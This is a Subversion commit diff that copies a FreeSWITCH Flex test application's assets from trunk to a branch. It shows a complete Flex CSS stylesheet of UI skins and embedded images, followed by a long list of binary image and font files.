Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets)

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/css (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/css)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/css/Main.css

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/css/Main.css (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/css/Main.css) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/css/Main.css	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/css/Main.css	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,325 @@
+/* CSS file */
+Application
+{
+	backgroundColor:#f9f6d9;
+	borderSkin: ClassReference("com.degrafa.skins.CSSSkin");
+	background-repeat:repeat;
+	background-image: Embed(source='assets/images/main_bg.png');
+	fontFamily: "Lucida Grande";
+	color: #000000;
+	fontSize: 12;
+	themeColor:#288bca;
+}
+MenuBar
+{
+	background-skin: ClassReference("com.degrafa.skins.CSSSkin");
+	background-image: Embed(source='assets/images/header_bg.png');
+	background-repeat:repeat-x;
+	menuStyleName: menuStyleName;
+	selectionColor:#4385d9;
+	rollOverColor:#4385d9;
+	textRollOverColor:#ffffff;
+	textSelectedColor:#ffffff;
+}
+
+.menuStyleName
+{
+	
+}
+Panel{
+	titleStyleName: "panelTitle";
+	contentStyleName: contentStyleName;
+	headerHeight:35;
+	
+	border-skin:ClassReference("assets.skins.SmartPanelSkin");
+	background-skin: ClassReference("assets.skins.PanelBackgroundSkin");
+	backgroundRepeat:repeat;
+	border-background-image:Embed(source='assets/images/panel_bg.png');
+	cornerRadius:8;
+	bottomCornerRadius: 3;
+	filters:dropShadow;
+	borderColor:#dddddd;
+	border-style: none;
+	paddingTop:20;
+	paddingLeft:20;
+	paddingRight:20;
+	paddingBottom:20;
+}
+.panelTitle{
+	textAlign:center;
+	fontSize:13;
+}
+.contentStyleName
+{
+	skin: ClassReference("assets.skins.PanelContentSkin");
+	filters: contentDropShadow;
+	cornerRadius: 0;
+}
+
+Alert
+{
+	color:#333333;
+	paddingBottom: 10;
+}
+Button
+{
+	upSkin:Embed(source='assets/images/glass_btn_up.png', scaleGridLeft=10, scaleGridRight=11, scaleGridTop=10,scaleGridBottom=11);
+	downSkin:Embed(source='assets/images/glass_btn_over.png', scaleGridLeft=10, scaleGridRight=11, scaleGridTop=10,scaleGridBottom=11);
+	overSkin:Embed(source='assets/images/glass_btn_over.png', scaleGridLeft=10, scaleGridRight=11, scaleGridTop=10,scaleGridBottom=11);
+	selectedUpSkin:Embed(source='assets/images/glass_btn_over.png', scaleGridLeft=10, scaleGridRight=11, scaleGridTop=10,scaleGridBottom=11);
+	selectedOverSkin:Embed(source='assets/images/glass_btn_over.png', scaleGridLeft=10, scaleGridRight=11, scaleGridTop=10,scaleGridBottom=11);
+	disabledSkin:Embed(source='assets/images/glass_btn_disable.png', scaleGridLeft=10, scaleGridRight=11, scaleGridTop=10,scaleGridBottom=11);
+	color:#000000;
+	textRollOverColor:#000000;
+}
+
+
+ScrollBar{
+	trackSkin:Embed(source='assets/images/track_skin.png');
+	thumbUpSkin:Embed(source='assets/images/thum_skin.png', scaleGridLeft=8, scaleGridRight=9, scaleGridTop=11,scaleGridBottom=12);
+	thumbOverSkin:Embed(source='assets/images/thum_skin.png', scaleGridLeft=8, scaleGridRight=9, scaleGridTop=11,scaleGridBottom=12);
+	thumbDownSkin:Embed(source='assets/images/thum_skin.png', scaleGridLeft=8, scaleGridRight=9, scaleGridTop=11,scaleGridBottom=12);
+	upArrowUpSkin:Embed(source='assets/images/scroll_arrow_up_up.png');
+	upArrowDownSkin:Embed(source='assets/images/scroll_arrow_up_over.png');
+	upArrowOverSkin:Embed(source='assets/images/scroll_arrow_up_over.png');
+	downArrowUpSkin:Embed(source='assets/images/scroll_arrow_down_up.png');
+	downArrowDownSkin:Embed(source='assets/images/scroll_arrow_down_over.png');
+	downArrowOverSkin:Embed(source='assets/images/scroll_arrow_down_over.png'); 
+}
+
+DataGrid{
+	headerColors:#7ab8ef,#c6fdff;
+	selectionColor:#4385d9;
+	rollOverColor:#4385d9;
+	textRollOverColor:#ffffff;
+	textSelectedColor:#ffffff;
+}
+.searchInput{
+	borderSkin:Embed(source='assets/images/search_input.png', scaleGridLeft=22, scaleGridRight=65, scaleGridTop=18,scaleGridBottom=19);
+	cornerRadius:12;
+	textIndent:18;
+	fontSize:12;
+	fontFamily:Verdana;
+	borderThikness:1;
+	borderStyle:solid;
+}
+TabNavigator, TabBar
+{
+	tabStyleName: tabStyleName;
+	firstTabStyleName: firstTab;
+	lastTabStyleName: lastTab;
+	fontSize: 12;	
+}
+.tabStyleName
+{
+	upSkin:Embed(source='assets/images/tab_middle.png', scaleGridLeft=9, scaleGridRight=37, scaleGridTop=13,scaleGridBottom=14);
+	downSkin: Embed(source='assets/images/tab_middle_over.png', 
+		scaleGridLeft=9, scaleGridRight=37, scaleGridTop=13,scaleGridBottom=14);
+	overSkin: Embed(source='assets/images/tab_middle_over.png', 
+		scaleGridLeft=9, scaleGridRight=37, scaleGridTop=13,scaleGridBottom=14);
+	selectedUpSkin: Embed(source='assets/images/tab_middle_selected.png', 
+		scaleGridLeft=9, scaleGridRight=37, scaleGridTop=13,scaleGridBottom=14);
+	selectedOverSkin: Embed(source='assets/images/tab_middle_selected.png', 
+		scaleGridLeft=9, scaleGridRight=37, scaleGridTop=13,scaleGridBottom=14);
+	paddingBottom: 3;
+	paddingTop: 5;
+	paddingLeft: 9;
+	paddingRight: 9;
+}
+
+.firstTab {
+	upSkin:Embed(source='assets/images/tab_first.png', scaleGridLeft=9, scaleGridRight=37, scaleGridTop=13,scaleGridBottom=14);
+	downSkin:Embed(source='assets/images/tab_first_over.png', 
+			scaleGridLeft=9, scaleGridRight=37, scaleGridTop=13,scaleGridBottom=14);
+	overSkin:Embed(source='assets/images/tab_first_over.png', 
+			scaleGridLeft=9, scaleGridRight=37, scaleGridTop=13,scaleGridBottom=14);
+	selectedUpSkin:Embed(source='assets/images/tab_first_selected.png',
+			scaleGridLeft=9, scaleGridRight=37, scaleGridTop=13,scaleGridBottom=14);
+	selectedOverSkin:Embed(source='assets/images/tab_first_selected.png',
+			scaleGridLeft=9, scaleGridRight=37, scaleGridTop=13,scaleGridBottom=14);
+	paddingBottom: 3;
+	paddingTop: 5;
+	paddingLeft: 9;
+	paddingRight: 9;
+}
+
+.lastTab {
+	upSkin:Embed(source='assets/images/tab_last.png', scaleGridLeft=9, scaleGridRight=37, scaleGridTop=13,scaleGridBottom=14);
+	downSkin:Embed(source='assets/images/tab_last_over.png',
+			scaleGridLeft=9, scaleGridRight=37, scaleGridTop=13,scaleGridBottom=14);
+	overSkin:Embed(source='assets/images/tab_last_over.png',
+			scaleGridLeft=9, scaleGridRight=37, scaleGridTop=13,scaleGridBottom=14);
+	selectedUpSkin:Embed(source='assets/images/tab_last_selected.png', 
+			scaleGridLeft=9, scaleGridRight=37, scaleGridTop=13,scaleGridBottom=14);
+	selectedOverSkin:Embed(source='assets/images/tab_last_selected.png', 
+			scaleGridLeft=9, scaleGridRight=37, scaleGridTop=13,scaleGridBottom=14);
+	paddingBottom: 3;
+	paddingTop: 5;
+	paddingLeft: 9;
+	paddingRight: 9;
+}
+
+RadioButton
+{
+	upIcon: Embed(source='assets/images/radio_up.png');
+	downIcon:Embed(source='assets/images/radio_over.png');
+	overIcon:Embed(source='assets/images/radio_over.png');
+	selectedUpIcon:Embed(source='assets/images/radio_selected.png');
+	selectedOverIcon:Embed(source='assets/images/radio_selected.png');
+	selectedDownIcon:Embed(source='assets/images/radio_selected.png');
+}
+Slider, VSlider
+{
+	thumbUpSkin: Embed(source='assets/images/slider_thumb_up.png', scaleGridLeft=6, scaleGridRight=7, scaleGridTop=7,scaleGridBottom=8);
+	thumbOverSkin: Embed(source='assets/images/slider_thumb_up.png', scaleGridLeft=6, scaleGridRight=7, scaleGridTop=7,scaleGridBottom=8);
+	thumbDownSkin: Embed(source='assets/images/slider_thumb_up.png', scaleGridLeft=6, scaleGridRight=7, scaleGridTop=7,scaleGridBottom=8);
+}
+ ComboBox{
+	upSkin: Embed(source='assets/images/comboBox_up.png',scaleGridLeft=10, scaleGridRight=160, scaleGridTop=10,scaleGridBottom=11);
+	overSkin:Embed(source='assets/images/comboBox_over.png',scaleGridLeft=10, scaleGridRight=160, scaleGridTop=10,scaleGridBottom=11);
+	downSkin:Embed(source='assets/images/comboBox_over.png',scaleGridLeft=10, scaleGridRight=160, scaleGridTop=10,scaleGridBottom=11);
+	selectedUpSkin:Embed(source='assets/images/comboBox_up.png',scaleGridLeft=10, scaleGridRight=160, scaleGridTop=10,scaleGridBottom=11);
+	selectedOverSkin:Embed(source='assets/images/comboBox_up.png',scaleGridLeft=10, scaleGridRight=160, scaleGridTop=10,scaleGridBottom=11);
+}
+ComboBox, Tree, List
+{
+	selectionColor:#4385d9;
+	rollOverColor:#4385d9;
+	textRollOverColor:#ffffff;
+	textSelectedColor:#ffffff;
+}
+
+DateChooser {
+	headerColors: #C9C9C9, #C9C9C9;	
+}
+
+Tree {
+	folderClosedIcon: Embed(source='assets/images/tree_folder.png');
+	folderOpenIcon: Embed(source='assets/images/tree_folder_open.png');
+}
+
+CheckBox
+{
+	upIcon: Embed(source='assets/images/checkBox_up.png');
+	downIcon:Embed(source='assets/images/checkBox_selected.png');
+	overIcon:Embed(source='assets/images/checkBox_over.png');
+	selectedUpIcon:Embed(source='assets/images/checkBox_selected.png');
+	selectedOverIcon:Embed(source='assets/images/checkBox_selected.png');
+	selectedDownIcon:Embed(source='assets/images/checkBox_selected.png');
+}
+
+Accordion {
+	headerStyleName: accordionHeader;
+}
+
+.accordionHeader {
+	fontSize: 11;
+	fillColors: #FFFFFF, #EEEEEE;
+	fillAlphas: 1, 1;
+	paddingTop: 7;
+	paddingLeft: 10;
+	paddingBottom: 4;
+	paddingRight: 10;
+	
+}
+
+ButtonBar {
+	buttonStyleName: buttonBarButton;
+	firstButtonStyleName: firstButtonBarButton;
+	lastButtonStyleName: lastButtonBarButton;
+	fontSize: 11;
+}
+
+.buttonBarButton {
+	upSkin:Embed(source='assets/images/button_bar_middle.png', 
+		scaleGridLeft=4, scaleGridRight=16, scaleGridTop=11,scaleGridBottom=12);
+	downSkin:Embed(source='assets/images/button_bar_middle_selected.png', 
+		scaleGridLeft=4, scaleGridRight=16, scaleGridTop=11,scaleGridBottom=12);
+	overSkin:Embed(source='assets/images/button_bar_middle_selected.png', 
+		scaleGridLeft=4, scaleGridRight=16, scaleGridTop=11,scaleGridBottom=12);
+	selectedUpSkin:Embed(source='assets/images/button_bar_middle_selected.png', 
+		scaleGridLeft=4, scaleGridRight=16, scaleGridTop=11,scaleGridBottom=12);
+	selectedOverSkin:Embed(source='assets/images/button_bar_middle_selected.png', 
+		scaleGridLeft=4, scaleGridRight=16, scaleGridTop=11,scaleGridBottom=12);
+	disabledSkin:Embed(source='assets/images/button_bar_middle_disabled.png', 
+		scaleGridLeft=4, scaleGridRight=16, scaleGridTop=11,scaleGridBottom=12);
+	
+	paddingTop: 5;
+	paddingBottom: 4;
+}
+
+.firstButtonBarButton {
+	upSkin:Embed(source='assets/images/button_bar_left.png', 
+		scaleGridLeft=10, scaleGridRight=11, scaleGridTop=11,scaleGridBottom=12);
+	downSkin:Embed(source='assets/images/button_bar_left_selected.png', 
+		scaleGridLeft=10, scaleGridRight=11, scaleGridTop=11,scaleGridBottom=12);
+	overSkin:Embed(source='assets/images/button_bar_left_selected.png', 
+		scaleGridLeft=10, scaleGridRight=11, scaleGridTop=11,scaleGridBottom=12);
+	selectedUpSkin:Embed(source='assets/images/button_bar_left_selected.png', 
+		scaleGridLeft=10, scaleGridRight=11, scaleGridTop=11,scaleGridBottom=12);
+	selectedOverSkin:Embed(source='assets/images/button_bar_left_selected.png', 
+		scaleGridLeft=10, scaleGridRight=11, scaleGridTop=11,scaleGridBottom=12);
+	disabledSkin:Embed(source='assets/images/button_bar_left_disabled.png', 
+		scaleGridLeft=10, scaleGridRight=11, scaleGridTop=11,scaleGridBottom=12);
+	
+	paddingTop: 5;
+	paddingBottom: 4;
+}
+
+.lastButtonBarButton {
+	upSkin:Embed(source='assets/images/button_bar_right.png', 
+		scaleGridLeft=10, scaleGridRight=14, scaleGridTop=11,scaleGridBottom=12);
+	downSkin:Embed(source='assets/images/button_bar_right_selected.png', 
+		scaleGridLeft=10, scaleGridRight=14, scaleGridTop=11,scaleGridBottom=12);
+	overSkin:Embed(source='assets/images/button_bar_right_selected.png', 
+		scaleGridLeft=10, scaleGridRight=14, scaleGridTop=11,scaleGridBottom=12);
+	selectedUpSkin:Embed(source='assets/images/button_bar_right_selected.png', 
+		scaleGridLeft=10, scaleGridRight=14, scaleGridTop=11,scaleGridBottom=12);
+	selectedOverSkin:Embed(source='assets/images/button_bar_right_selected.png', 
+		scaleGridLeft=10, scaleGridRight=14, scaleGridTop=11,scaleGridBottom=12);
+	disabledSkin:Embed(source='assets/images/button_bar_right_disabled.png', 
+		scaleGridLeft=10, scaleGridRight=14, scaleGridTop=11,scaleGridBottom=12);
+
+	paddingTop: 5;
+	paddingBottom: 4;
+	paddingRight: 7;
+}
+
+
+/****************************************************************************************************************
+                                             FILTERS                                                            *
+*****************************************************************************************************************
+*/
+.dropShadow
+{
+	filterClass:ClassReference('com.asfusion.skins.filters.CSSDropShadowFilter');
+	distance:5;
+	blurX:32;
+	blurY:32;
+	quality:3;
+	alpha:0.6;
+}
+.contentDropShadow
+{
+	filterClass:ClassReference('com.asfusion.skins.filters.CSSDropShadowFilter');
+	distance: 0;
+	blurX: 4;
+	blurY: 4;
+	quality:3;
+	alpha: 0.5;
+	inner: true;
+}
+
+/****************************************************************************************************************
+                                             FONTS                                                              *
+*****************************************************************************************************************
+*/
+@font-face {
+   src:url("assets/fonts/lucidaGrande.swf");
+   fontFamily: "Lucida Grande";
+}
+@font-face {
+   src:url("assets/fonts/lucidaGrande.swf");
+   fontFamily: "Lucida Grande";
+   fontWeight:bold;
+}
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/fonts (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/fonts)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/fonts/lucidaGrande.swf

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/fonts/lucidaGrande.swf (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/fonts/lucidaGrande.swf)


(Binary files differ)

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/icons (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/icons)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/icons/ai.jpg

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/icons/ai.jpg (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/icons/ai.jpg)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/icons/air.jpg

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/icons/air.jpg (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/icons/air.jpg)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/icons/fl.jpg

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/icons/fl.jpg (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/icons/fl.jpg)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/icons/fw.jpg

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/icons/fw.jpg (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/icons/fw.jpg)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/icons/fx.jpg

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/icons/fx.jpg (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/icons/fx.jpg)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/icons/ps.jpg

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/icons/ps.jpg (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/icons/ps.jpg)


(Binary files differ)

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/button_bar_left.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/button_bar_left.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/button_bar_left.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/button_bar_left_disabled.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/button_bar_left_disabled.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/button_bar_left_disabled.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/button_bar_left_selected.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/button_bar_left_selected.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/button_bar_left_selected.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/button_bar_middle.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/button_bar_middle.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/button_bar_middle.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/button_bar_middle_disabled.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/button_bar_middle_disabled.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/button_bar_middle_disabled.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/button_bar_middle_selected.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/button_bar_middle_selected.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/button_bar_middle_selected.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/button_bar_right.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/button_bar_right.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/button_bar_right.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/button_bar_right_disabled.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/button_bar_right_disabled.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/button_bar_right_disabled.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/button_bar_right_selected.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/button_bar_right_selected.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/button_bar_right_selected.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/checkBox_over.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/checkBox_over.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/checkBox_over.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/checkBox_selected.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/checkBox_selected.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/checkBox_selected.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/checkBox_up.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/checkBox_up.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/checkBox_up.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/comboBox_over.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/comboBox_over.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/comboBox_over.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/comboBox_up.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/comboBox_up.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/comboBox_up.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/glass_btn_disable.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/glass_btn_disable.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/glass_btn_disable.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/glass_btn_over.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/glass_btn_over.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/glass_btn_over.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/glass_btn_up.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/glass_btn_up.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/glass_btn_up.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/header_bg.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/header_bg.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/header_bg.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/main_bg.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/main_bg.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/main_bg.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/panel_bg.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/panel_bg.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/panel_bg.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/radio_over.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/radio_over.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/radio_over.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/radio_selected.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/radio_selected.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/radio_selected.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/radio_up.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/radio_up.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/radio_up.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/scroll_arrow_down_over.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/scroll_arrow_down_over.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/scroll_arrow_down_over.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/scroll_arrow_down_up.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/scroll_arrow_down_up.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/scroll_arrow_down_up.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/scroll_arrow_up_over.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/scroll_arrow_up_over.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/scroll_arrow_up_over.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/scroll_arrow_up_up.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/scroll_arrow_up_up.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/scroll_arrow_up_up.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/search_input.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/search_input.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/search_input.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/slider_thumb_up.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/slider_thumb_up.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/slider_thumb_up.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/tab.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_first.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_first.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/tab_first.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_first_over.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_first_over.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/tab_first_over.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_first_selected.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_first_selected.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/tab_first_selected.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_last.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_last.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/tab_last.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_last_over.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_last_over.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/tab_last_over.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_last_selected.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_last_selected.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/tab_last_selected.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_middle.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_middle.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/tab_middle.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_middle_over.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_middle_over.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/tab_middle_over.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_middle_selected.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_middle_selected.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/tab_middle_selected.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_selected.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tab_selected.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/tab_selected.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/thum_skin.png

